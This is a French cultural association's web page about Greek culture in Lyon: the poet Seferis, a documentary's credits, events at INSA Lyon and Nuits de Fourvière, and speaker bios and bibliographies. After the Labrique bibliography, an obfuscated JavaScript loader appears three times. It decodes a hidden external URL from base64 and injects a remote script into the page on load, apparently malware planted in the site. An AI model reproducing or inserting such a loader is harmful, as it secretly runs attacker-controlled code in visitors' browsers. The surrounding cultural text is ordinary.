Georges (Yòrgos) Sefèris, Γιώργος Σεφέρης, (1900-1971) premier lauréat du prix Nobel de Littérature en 1963, est un poète, essayiste, traducteur, et diplomate grec qui a marqué sa génération et s’est distingué comme la figure de proue des hommes de lettres grecs des années 1930.
Il est né dans l’antique Ionie, à Smyrne, et la Grande Catastrophe d’Asie Mineure en 1922 a marqué sa poésie.
Έγινε λίμνη η μοναξιά
έγινε λίμνη η στέρηση
ανέγγιχτη κι αχάραχτη
Ημερολόγιο Καταστρώματος ΑΝΟΙΞΗ Μ.Χ. 16 Μαρτ. 39
Et solitude et privation
sont devenues des lacs intacts
sans rien d’écrit dessus.
Traduction M.V.
Michel Volkovitch, né en 1947, a traduit une cinquantaine de prosateurs grecs contemporains, 200 poètes (dont Cavàfis, Karyotàkis et Sefèris intégralement), des chants populaires, des chansons rebètika et une quarantaine de pièces de théâtre. Il enseigne la traduction à Paris. Ses traductions ont reçu sept différents prix en France et en Grèce. Auteur de huit livres, il a fondé en 2013 sa propre maison d’édition, le Miel des anges, pour faire connaître les poètes, les nouvellistes et les dramaturges grecs. Sites : www.volkovitch.com, www.lemieldesanges.fr
Documentaire- Carnet de voyages
Récompenses : Prix spécial du jury du 16e Festival international du film “Chevalier d’or”, Russie 2007
Scénario : Andreas Pantzis, Savvas Pavlou
Photographie : Petros Koumoundouros
Conseillers : Dimitris Daskalopoulos, Nassos Vagenas, Maria Stasinopoulou, Savvas Pavlou
Montage : Nikos Halabalas
Son : Filippas Pantazis
Musique : Vasos Argyridis
Lecture des textes : Yannis Voglis, Andreas Antoniadis, Stefania-Theofania Panzi, Vasos Argyridis, Giorgos Bakolas, Andreas Pantzis
Gestion de la production : Kostas Pitsilidis (RIK), Niki Stamatari (ERT)
Une coproduction de l’ERT, de la Cyprus Radio Foundation et de P.A. STEPHANIA FILM PRODUCTIONS LTD, avec le soutien de l’Autorité chypriote des télécommunications (ATHK).
DEFKALIONa le grand plaisir de vous convier à un triptyque d’évènements pour célébrer la Grèce à travers sa capitale européenne de la culture en partenariat avec le Centre des Humanités et le Service Culturel de l’INSA Lyon, intitulé :
« Elefsina (Eleusis), capitale européenne de la culture 2023 »
– Ciné-concert
« La Grèce, au cœur des Balkans »
le 3 octobre 2023
à 20h15
La Rotonde, INSA Lyon
– Spectacle
« Perséphone chez Hadès » de et avec Filia Dendrinou
le 17 octobre 2023
à 20h30
Amphi René Char, INSA Lyon
– Conférence et projection documentaire
« Le mythe, un palimpseste œcuménique »
le 18 octobre 2023
à 12h15
Amphi René Char, INSA Lyon
____Présentation des événements_____
Ciné-concert
« La Grèce, au cœur des Balkans »
Une soirée où la Grèce est à l’honneur !
Pour ouvrir la soirée, Jacques Méhu propose un concert autour des musiques traditionnelles avec son collectif Bosphore. Entre Mer Noire et Méditerranée, Orient et Occident, Bosphore propose sa vision personnelle des Balkans avec un libre détour dans l’Europe ancienne et traditionnelle. Ce voyage musical sera suivi d’une projection du film « La Grèce, un pays en crise ». Reportage réalisé en avril 2023 par l’association du CUID de l’INSA de Lyon, lors d’un voyage des étudiants en Grèce.
Spectacle
« Perséphone chez Hadès »
Filia Dendrinou explore les mythes grecs dans une pièce mettant en scène l’histoire de Perséphone et de sa descente aux Enfers. Conservé dans la tradition orale et la poésie populaire, ce mythe montre des héros victimes, passifs, des créatures prisonnières d’un destin et condamnées à vivre entre deux mondes : celui de la lumière et celui de l’obscurité.
Ce monologue plonge le spectateur dans les récits populaires et intemporels. Cette parenthèse poétique explore le trio Amour-Naissance-Mort. L’interprète y mêle des fragments de poésie de Yiannis Ritsos, “Perséphone/ Quatrième Dimension” et un acte de Samuel Beckett, “The Rocking”, récités comme une indication de l’au-delà et de l’éternelle transmission des mythes entre écrivains.
– Texte – recherche – mise en scène – interprétation : Filia Dendrinou, comédienne et dramaturge Grecque
– La voix de Hadès : le comédien Grec Nikos Alexiou
– Traduction de la pièce : Pierre Loubier
– Production de la pièce : Nicolas Graikos
– Spectacle en français
Conférence et projection documentaire
« Le mythe, un palimpseste œcuménique »
Représentation suivie d’une conférence en présence de l’équipe artistique et de production, autour des mythes, et d’un documentaire intitulé « A l’occasion d’un spectacle : trois dramaturges de la tragédie et un dramaturge de la comédie grecques ».
– Mise en scène du documentaire : Michel Lykoudis
– Texte – scénario – recherche : Filia Dendrinou
________Horaires________
Ciné-Concert: 03.10.2023 à 20h15 à la Rotonde (voir plan)
Durée 2h00
Prix libre à partir de 8€, étudiant.e : 5€, carte VA : 3€
Suivi d’un verre de l’amitié
Spectacle: 17.10 – 20h30 amphi René Char dans le bâtiment de la Rotonde de l’INSA (voir plan)
Durée : 1h15
Conférence : 18.10 – 12h15 amphi René Char dans le bâtiment de la Rotonde de l’INSA
Durée : 1h30
Filia Dendrinou est comédienne et dramaturge.
Elle a travaillé au théâtre, au cinéma, et à la télévision. Comme dramaturge, elle a enseigné le théâtre à l’Université hellénique (Département d’études théâtrales de l’Université du Péloponnèse, et Département d’études théâtrales de l’Université d’Athènes), aussi bien que dans des Ecoles d’Art Dramatique. Elle s’intéresse particulièrement au théâtre populaire et à sa relation avec le storytelling. Son travail concernant les mythes et les contes populaires a été souvent présenté au théâtre, aussi bien que dans des festivals internationaux. En 2007, dans le documentaire “Les Coulisses” de la Télévision Publique ERT2, elle présente son travail pour le théâtre narratif et l’acteur – conteur, tandis que de 2006 à 2009 elle travaille comme collaboratrice permanente de la télévision publique hellénique (ERT2) où elle adapte et présente une centaine de mythes et contes de fées, de la littérature populaire et célèbre du monde entier. Elle a également collaboré avec la télévision en tant que scénariste et co-créatrice des documentaires liés au théâtre. En tant que comédienne, elle a collaboré avec des réalisateurs divers en Grèce et en France: Bepi Monai, Nino Montalto, Th. Chauvieres, N. Kamtsi, N. Armao, M. Volanaki, Lee Broower, M. Sevastopoulou, K. Kapeloni, etc.
Elle a publié un récit théâtral « Performance et Storytellig », deux pièces de théâtre pour enfants (prix d’écriture du Ministère de la Culture Grec 2021) et elle a aussi publié dix livres de contes pour enfants.
Son dernier travail au théâtre était : Athènes, Art Théâtre / 2022 avec la pièce d’Oscar Wilde « A Woman of No Importance » (Mrs Allomby).
Cher.es adhérent.e.s, nous avons le grand plaisir de vous annoncer notre partenariat renouvelé avec Les Nuits de Fourvière et ceci pour la Nuit Grecque du Samedi 24 juin.
Le festival des Nuits de Fourvière en partenariat avec l’association Defkalion présente une NUIT GRECQUE de Rébétiko avec un concert de
La soirée sera précédée d’un Grand Apero Rebetiko. Une conférence-rencontre avec Michel Volkovitch, ami de Defkalion et incontournable traducteur de grec moderne,
en musique avec Didier Laurencin et l’ensemble Allegoria, accompagnée de Mezze et d’Ouzo.
Accueil à 17h45 à l’entrée des théâtres romains, 5 rue de l’Antiquaille.
Pour la réservation “De la Découverte du Rébétiko” il faut écrire au : reservation.rp@nuitsdefourviere.com
Nous avons le plaisir de vous adresser les modalités pour bénéficier de l’offre tarifaire qui vous a été réservée. Vous pouvez dès aujourd’hui accéder à la billetterie des Nuits de Fourvière et bénéficier d’un tarif préférentiel de 20€ au lieu de 28€.
Nous vous remercions de votre fidélité et sommes impatients de vous retrouver,
Defkalion a le grand plaisir de vous inviter en partenariat avec la Maison de l’Orient et de la Méditerranée, à la conférence de
Jean-Charles MORETTI
ΔΗΛΟΣ/Délos 1873-1913 :
les premières décennies d’une exploration archéologique débutée
il y a 150 ans
le vendredi 15 juin à 18h30
à la salle SalomonReinach : G401B – 4ème étage de la MOM
5/7 rue Raulin, 7ème Lyon
Jean-Charles Moretti est directeur de recherche au CNRS, membre du bureau de l’Institut de recherche sur l’architecture antique de la Maison de l’Orient et de la Méditerranée, Université Lumière Lyon 2.
Il est directeur de la mission archéologique française de Délos, où il travaille depuis près de quarante ans.
Aphrodite et le satyre, Musée Archéologique d’Athènes
Court descriptif de la conférence
L’enquête sur les sources gréco-égyptiennes antiques du mythe de Cendrillon évoquera notamment le monosandalisme grec et, du côté égyptien, les mythes de mutilation qualifiante tels celui d’Horus perdant son œil et celui d’Hathor perdant sa tresse.
Court CV de la conférencière
Formation de philologie classique et d’égyptologie acquise à l’Université libre de Bruxelles, à l’École Pratique des Hautes Études à Paris et à l’Université de Cologne. Professeur de latin, de grec et de philosophie ancienne dans l’enseignement secondaire de 1978 à 1998. Professeur des Universités en histoire grecque et histoire des religions anciennes à l’Université de Franche-Comté à Besançon, de 1998 à 2005. Chaire d’égyptologie à l’Université de Cologne de 2005 à 2013. Spécialité : la religion égyptienne à travers les textes des temples égyptiens des époques hellénistique et romaine. Travaux épigraphiques en l’oasis de Bahariya et au temple de Kôm Ombo en Égypte.
Bibliographie de Françoise Labrique
Deux monographies
Françoise Labrique, Stylistique et théologie à Edfou, Orientalia Lovaniensia Analecta 51, (éd. Peeters), (1992) 377 pp., 24 pll.; Prix de la Fondation Michela Schiff Giorgini (Lausanne), Prix de la Fondation Universitaire (Bruxelles).<br>
Shafia Bedier, Françoise Labrique, Ali Abdelhalim Ali, Anna Dékány, Sven Eicke, Kôm Ombo II. Les inscriptions de la salle médiane et des chapelles annexes (chambre d’introduction des offrandes, chambre de l’inondation, Laboratoire), (Temples, 2021, IFAO, Le Caire).<br>
Publication scientifique des actes d’un colloque international<br>
Françoise Labrique (éd.), Religions méditerranéennes et orientales de l’Antiquité (Actes du colloque international des 23-24 avril 1999 à Besançon), Bibliothèque d’Étude 135 (2002), 243 p.<br>
Publication scientifique d’un catalogue d’exposition<br>
Françoise Labrique et U. Westfehling (edd.), Mit Napoleon nach Ägypten: Die Zeichnungen des Jean-Baptiste Lepère, Wallraf-Richartz-Museum und Fondation Corboud 2.10.2009-9.1.2010, v. Zabern, Mainz 2009, 256 p.<br>
Ouvrages collectifs contenant un de mes articles et touchant au thème de la traduction culturelle <br>
Françoise Labrique, « La chevelure des servantes de la reine de Byblos : un rite égyptien en filigrane? (Plutarque, De Iside et Osiride, 15) », dans E. Graefe et U. Verhoeven (éd.), Religion und Philosophie im Alten Ägypten, Fs Philippe Derchain, Orientalia Lovaniensia Analecta 39 (1991), pp. 203-207. <br>
Michèle Broze, Françoise Labrique : « Hélène, le cheval de bois et la peau de l’âne, ou les dangers du comparatisme », dans : M. Broze, L. Couloubaritsis, A. Hypsilanti, P. Mavromoustakos, D. Viviers (edd.), Le mythe d’Hélène de la Cité grecque à la culture européenne, (Actes du Colloque du 28 – 30 oct. 1996 Université Libre de Bruxelles – Université d’Athènes), éd. Ousia, Bruxelles, 2004, pp. 133-187. <br>
Françoise Labrique, « La femme perverse, dynamique de la négation : de l’Égypte à la Grèce, deux belles Pandore sans merci », dans M. Broze, B. Decharneux, S. Delcominette, “Mais raconte-moi en détail…” (Odyssée, III, 97), Mélanges de philosophie et de philologie offerts à Lambros Couloubaritsis, Paris-Bruxelles, Vrin-Ousia 2008, pp. 151-166.<br>
Françoise Labrique, « Quelques documents iconographiques mixtes d’Égypte hellénistique et romaine”, dans : D. Boschung et al., Akten des Kolloquiums “Historische Mehrsprachigkeit, 4.-5. Juli 2008, Köln, Zentrum Sprachenvielfalt und Mehrsprachigkeit-Studien 4, 2011, pp. 1-21. <br>
Françoise Labrique, « Le regard d’Hérodote sur le phénix », dans L. Coulon, P. Jouanna, Fl. Kimmel (éd.), Hérodote et l’Égypte. Regards croisés sur le livre II de l’Enquête, Actes de la journée d’étude du 10 mai 2010, CMO 51, Maison de l’Orient et de la Méditerranée, Lyon 2013, pp. 121-146<br>
Françoise Labrique, Ioanna Papadopoulou. 2012, « Les déesses au métier : Isis et Perséphone tisserandes », Mél. Gregory Nagy, Center For Hellenic Studies, Harvard University, https://chs.harvard.edu/CHS/article/display/4835, publié dans <br>
http://nrs.harvard.edu/urn-3:hul.ebook:CHS_Bers_etal_eds.Donum_Natalicium_Gregorio_Nagy.2012.<br>
Françoise Labrique, « Alêtheia. La tunique liturgique de Saqqara : Maât vs. Théogamie », dans Fr. Colin, O. Huck et S. Vanséveren (éd.), Interpretatio. Traduire l’altérité culturelle dans les civilisations de l’Antiquité, Paris, 2015, pp. 231-264<br>
Touchant au thème de l’exposé :
Françoise Labrique, « Hathor, Aphrodite : cheveux, chaussures et sortilèges », dans : Anne-Hélène Perrot, Renaud Pietri, Juliette Tanré-Szwewcyk (ed.), L’objet égyptien, source de la recherche, Actes du colloque École du Louvre 17-18-19 juin 2015, École du Louvre – Éd. Kheops, 2020, pp. 51-67.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
Dr Eleni G. PAPAEFTHYMIOY (theses.fr – Eleni Papaefthymiou) fait des études d’histoire, d’archéologie et d’histoire de l’art à Athènes et à Paris. L’étude historique et numismatique de l’atelier d’Édessa en Macédoine fut le sujet de sa thèse de doctorat, sous la direction de l’académicien Georges Le Rider, soutenue à Paris IV-Sorbonne.
Ses recherches portent principalement sur la monnaie et l’économie grecque et romaine.
Elle a travaillé dans les secteurs privé et publique en tant que : - archéologue lors des fouilles de Vergina sous la direction de Manolis Andronikos, qui lui confia pour son D.E.A., l’étude des monnaies découvertes lors des fouilles de Vergina de 1977 à 1989 ; - experte de monnaies antiques dans des maisons de vente à Paris (Crédit de la Bourse et Argenor Numismatique) et à Londres chez Baldwin’s ; - conservateur au Musée Numismatique d’Athènes ; - directrice des collections numismatiques à la Fondation du Monde Hellénique et de la Banque de Grèce; - chercheuse en économie antique actuellement à l’Université de Warwick au Royaume Uni, elle a aussi participé à des projets de recherche à l’Université de Tours en France et à la Fondation nationale de la Recherche à Athènes en Grèce.
Elle est autrice de livres et d’articles scientifiques pour le grand public.
